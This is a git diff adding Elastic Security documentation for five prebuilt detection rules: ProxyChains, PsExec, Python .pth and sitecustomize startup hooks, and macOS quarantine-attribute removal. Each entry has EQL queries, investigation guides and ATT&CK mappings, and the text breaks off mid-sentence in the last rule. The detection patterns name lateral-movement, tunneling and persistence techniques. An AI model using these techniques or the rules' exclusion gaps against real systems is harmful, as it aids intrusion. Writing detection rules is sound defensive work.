b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxychains-activity.asciidoc new file mode 100644 index 0000000000..51a6396a93 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-proxychains-activity.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-proxychains-activity]] +=== ProxyChains Activity + +This rule monitors for the execution of the ProxyChains utility. ProxyChains is a command-line tool that enables the routing of network connections through intermediary proxies, enhancing anonymity and enabling access to restricted resources. Attackers can exploit the ProxyChains utility to hide their true source IP address, evade detection, and perform malicious activities through a chain of proxy servers, potentially masking their identity and intentions. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.bitsadmin.com/living-off-the-foreign-land-windows-as-offensive-platform + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ProxyChains Activity* + + +Attackers can leverage `proxychains` to obfuscate their origin and bypass network defenses by routing their malicious traffic through multiple intermediary servers. + +This rule looks for processes spawned through `proxychains` by analyzing `proxychains` process execution. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate network obfuscation. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Suspicious Utility Launched via ProxyChains - 6ace94ba-f02c-4d55-9f53-87d99b6f9af4 +- Potential Protocol Tunneling via Chisel Client - 3f12325a-4cc6-410b-8d4c-9fbbeb744cfd +- Potential Protocol Tunneling via Chisel Server - ac8805f6-1e08-406c-962e-3937057fa86f +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e +- Potential Protocol Tunneling via EarthWorm - 9f1c4ca3-44b5-481d-ba42-32dc215a2769 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses this utility for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "proxychains" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: Multi-hop Proxy +** ID: T1090.003 +** Reference URL: https://attack.mitre.org/techniques/T1090/003/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-psexec-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-psexec-network-connection.asciidoc new file mode 100644 index 0000000000..4ad8c706d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-psexec-network-connection.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-psexec-network-connection]] +=== PsExec Network Connection + +Identifies use of the SysInternals tool PsExec.exe making a network connection. This could be an indication of lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PsExec Network Connection* + + +PsExec is a remote administration tool that enables the execution of commands with both regular and SYSTEM privileges on Windows systems. Microsoft develops it as part of the Sysinternals Suite. Although commonly used by administrators, PsExec is frequently used by attackers to enable lateral movement and execute commands as SYSTEM to disable defenses and bypass security protections. + +This rule identifies PsExec execution by looking for the creation of `PsExec.exe`, the default name for the utility, followed by a network connection done by the process. + + +*Possible investigation steps* + + +- Check if the usage of this tool complies with the organization's administration policy. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Identify the target computer and its role in the IT environment. +- Investigate what commands were run, and assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This mechanism can be used legitimately. As long as the analyst did not identify suspicious activity related to the user or involved hosts, and the tool is allowed by the organization's policy, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - Prioritize cases involving critical servers and users. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "windows" and event.type == "start" and + (process.name : "PsExec.exe" or ?process.pe.original_file_name : "psexec.c") and + + /* This flag suppresses the display of the license dialog and may + indicate that psexec executed for the first time in the machine */ + process.args : "-accepteula" and + + not process.executable : ("?:\\ProgramData\\Docusnap\\Discovery\\discovery\\plugins\\17\\Bin\\psexec.exe", + "?:\\Docusnap 11\\Bin\\psexec.exe", + "?:\\Program Files\\Docusnap X\\Bin\\psexec.exe", + "?:\\Program Files\\Docusnap X\\Tools\\dsDNS.exe") and + not process.parent.executable : "?:\\Program Files (x86)\\Cynet\\Cynet Scanner\\CynetScanner.exe"] + [network where host.os.type == "windows"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-python-path-file-pth-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-python-path-file-pth-creation.asciidoc new file mode 100644 index 0000000000..a78e305d07 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-python-path-file-pth-creation.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-34-python-path-file-pth-creation]] +=== Python Path File (pth) Creation + +This rule detects the creation of .pth files in system-wide and user-specific Python package directories, which can be abused for persistent code execution. .pth files automatically execute Python code when the interpreter starts, making them a stealthy persistence mechanism. Monitoring these paths helps identify unauthorized modifications that could indicate persistence by an attacker or malicious package injection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dfir.ch/posts/publish_python_pth_extension/ +* https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/ +* https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Python Path File (pth) Creation* + + +Python Path Files (.pth) are used to automatically execute code when the Python interpreter starts, making them a potential target for adversaries seeking persistence. Attackers can exploit .pth files by placing malicious code in directories where Python packages reside, ensuring execution each time Python runs. The detection rule monitors the creation and renaming of .pth files in key directories, excluding legitimate processes, to identify unauthorized modifications indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the file path where the .pth file was created or renamed to determine if it is within a legitimate Python package directory, as specified in the query paths. +- Identify the process executable responsible for the creation or renaming of the .pth file and verify if it is listed as an excluded legitimate process in the query. +- Investigate the parent process of the identified executable to understand the context of the .pth file creation and assess if it aligns with expected behavior. +- Check the timestamp of the .pth file creation or renaming event to correlate with any known scheduled tasks or user activities. +- Examine the contents of the .pth file to identify any suspicious or unauthorized code that could indicate malicious intent. +- Review recent system logs and user activity around the time of the event to identify any anomalies or unauthorized access attempts. + + +*False positive analysis* + + +- Legitimate package installations or updates using package managers like pip or poetry can trigger false positives. To handle this, ensure that the process executables for these package managers are included in the exclusion list. +- Automated scripts or CI/CD pipelines that manage Python environments might create or rename .pth files. Identify these scripts and add their executables to the exclusion list to prevent unnecessary alerts. +- System updates or maintenance tasks that involve Python package directories can also result in false positives. Monitor these activities and temporarily adjust the rule or add specific system maintenance processes to the exclusion list. +- Custom Python applications that manage dependencies or configurations through .pth files may cause alerts. Review these applications and consider adding their specific paths or executables to the exclusion criteria. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious code. +- Identify and terminate any suspicious processes associated with the creation or modification of .pth files, especially those not matching the legitimate process list. +- Remove any unauthorized .pth files from the identified directories to eliminate the persistence mechanism. +- Conduct a thorough review of recent changes to the Python environment and installed packages to identify any malicious or unauthorized modifications. +- Restore affected systems from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for future unauthorized .pth file modifications to quickly detect similar threats. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and file.extension == "pth" and +file.path like ( + "/usr/local/lib/python*/dist-packages/*", + "/usr/lib/python*/dist-packages/*", + "/usr/local/lib/python*/site-packages/*", + "/usr/lib/python*/site-packages/*", + "/home/*/.local/lib/python*/site-packages/*", + "/opt/*/lib/python*/site-packages/*" +) and process.executable != null and not ( + process.executable in ( + "/usr/bin/restic", "/usr/bin/pacman", "/usr/bin/dockerd", "/usr/bin/podman", "/usr/bin/pamac-daemon", + "/usr/bin/dnf", "/usr/bin/dnf5", "/bin/dnf5", "/bin/podman", "./usr/bin/podman", "/kaniko/executor", + "/dev/fd/3", "/opt/SolarWinds/Agent/bin/Plugins/Discovery/SolarWinds.Agent.Discovery.Plugin", "/usr/bin/crio", + "/opt/splunk/bin/splunkd", "/opt/Tanium/TaniumClient/TaniumCX" + ) or + process.executable like ( + "/nix/store/*libexec/docker/dockerd", "/snap/docker/*dockerd" + ) or + ( + process.name like ("platform-python*", "cp", "uv") and + file.name in ("distutils-precedence.pth", "_virtualenv.pth") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Python Startup Hooks +** ID: T1546.018 +** Reference URL: https://attack.mitre.org/techniques/T1546/018/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Python Startup Hooks +** ID: T1546.018 +** Reference URL: https://attack.mitre.org/techniques/T1546/018/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-python-site-or-user-customize-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-python-site-or-user-customize-file-creation.asciidoc new file mode 100644 index 0000000000..5faad4d0c5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-python-site-or-user-customize-file-creation.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-34-python-site-or-user-customize-file-creation]] +=== Python Site or User Customize File Creation + +This rule detects the creation and modification of sitecustomize.py and usercustomize.py, which Python automatically executes on startup. Attackers can exploit these files for persistence by injecting malicious code. The rule monitors system-wide, user-specific, and virtual environment locations to catch unauthorized changes that could indicate persistence or backdooring attempts. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Python Site or User Customize File Creation* + + +Python's `sitecustomize.py` and `usercustomize.py` are scripts that execute automatically when Python starts, allowing for environment-specific customizations. Adversaries can exploit these files to maintain persistence by injecting malicious code. The detection rule monitors file creation and modification in key directories, excluding benign processes, to identify unauthorized changes indicative of potential backdooring or persistence attempts. + + +*Possible investigation steps* + + +- Review the file path where the creation or modification was detected to determine if it is a system-wide, user-specific, or virtual environment location, as specified in the query. +- Identify the process executable responsible for the file creation or modification and verify if it is listed in the exclusion list of benign processes. If not, investigate the process for potential malicious activity. +- Check the timestamp of the file creation or modification event to correlate with any other suspicious activities or alerts on the system around the same time. +- Examine the contents of the sitecustomize.py or usercustomize.py file for any unauthorized or suspicious code that could indicate persistence mechanisms or backdooring attempts. +- Investigate the user account associated with the file creation or modification event to determine if the activity aligns with expected behavior or if it suggests potential compromise. +- Review system logs and other security alerts for additional context or indicators of compromise related to the detected event. + + +*False positive analysis* + + +- Package managers like pip and poetry can trigger false positives when they create or modify sitecustomize.py or usercustomize.py during package installations or updates. To handle this, ensure these processes are included in the exclusion list within the detection rule. +- System updates or software installations that involve Python libraries might also lead to false positives. Regularly review and update the exclusion list to include known benign processes such as pacman or restic that are part of routine system maintenance. +- Custom scripts or automation tools that use Python to manage environments could inadvertently modify these files. Identify and exclude these specific scripts or tools if they are verified as non-malicious. +- Virtual environments often involve the creation of sitecustomize.py for environment-specific configurations. Consider excluding the virtual environment's Python executables if they are part of a controlled and secure development process. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or spread of malicious code. +- Review the contents of the `sitecustomize.py` and `usercustomize.py` files for any unauthorized or suspicious code. Remove any malicious code identified. +- Restore the affected files from a known good backup if available, ensuring that the restored files are free from unauthorized modifications. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Monitor the system and network for any signs of continued unauthorized access or attempts to modify the `sitecustomize.py` and `usercustomize.py` files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for changes to critical Python directories and files to enhance detection of similar threats in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.path like ( + "/usr/lib/python*/sitecustomize.py", + "/usr/local/lib/python*/sitecustomize.py", + "/usr/lib/python*/dist-packages/sitecustomize.py", + "/usr/local/lib/python*/dist-packages/sitecustomize.py", + "/opt/*/lib/python*/sitecustomize.py", + "/home/*/.local/lib/python*/site-packages/usercustomize.py", + "/home/*/.config/python/usercustomize.py" +) and not ( + process.executable in ( + "/usr/bin/restic", "/usr/bin/pacman", "/usr/bin/dockerd", "/usr/bin/podman", "/usr/bin/pamac-daemon", + "./usr/bin/podman", "/opt/miniforge3/bin/mamba", "/usr/sbin/dockerd", "/opt/conda/_conda", "/kaniko/executor", + "/usr/bin/crio", "/usr/lib/systemd/systemd-executor" + ) or + process.executable like~ ("/nix/store/*libexec/docker/dockerd", "/snap/docker/*dockerd") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Python Startup Hooks +** ID: T1546.018 +** Reference URL: https://attack.mitre.org/techniques/T1546/018/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Python Startup Hooks +** ID: T1546.018 +** Reference URL: https://attack.mitre.org/techniques/T1546/018/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-quarantine-attrib-removed-by-unsigned-or-untrusted-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-quarantine-attrib-removed-by-unsigned-or-untrusted-process.asciidoc new file mode 100644 index 0000000000..ef97aaf5d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-quarantine-attrib-removed-by-unsigned-or-untrusted-process.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-quarantine-attrib-removed-by-unsigned-or-untrusted-process]] +=== Quarantine Attrib Removed by Unsigned or Untrusted Process + +Detects deletion of the quarantine attribute by an unusual process (xattr). In macOS, when applications or programs are downloaded from the internet, there is a quarantine flag set on the file. This attribute is read by Apple's Gatekeeper defense program at execution time. An adversary may disable this attribute to evade defenses. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nixhacker.com/security-protection-in-macos-1/ +* https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Quarantine Attrib Removed by Unsigned or Untrusted Process* + + +In macOS, files downloaded from the internet are tagged with a quarantine attribute, which is checked by Gatekeeper to ensure safety before execution. Adversaries may remove this attribute to bypass security checks, allowing potentially harmful applications to run unchecked. The detection rule identifies such actions by monitoring for the removal of this attribute by processes that are either unsigned or untrusted, flagging unusual activity that deviates from expected behavior. + + +*Possible investigation steps* + + +- Review the process executable path that triggered the alert to determine if it is a known or expected application on the system. Check if it matches any legitimate software that might not be properly signed. +- Investigate the parent process of the flagged executable to understand the context of its execution. This can help identify if the process was spawned by a legitimate application or a potentially malicious one. +- Examine 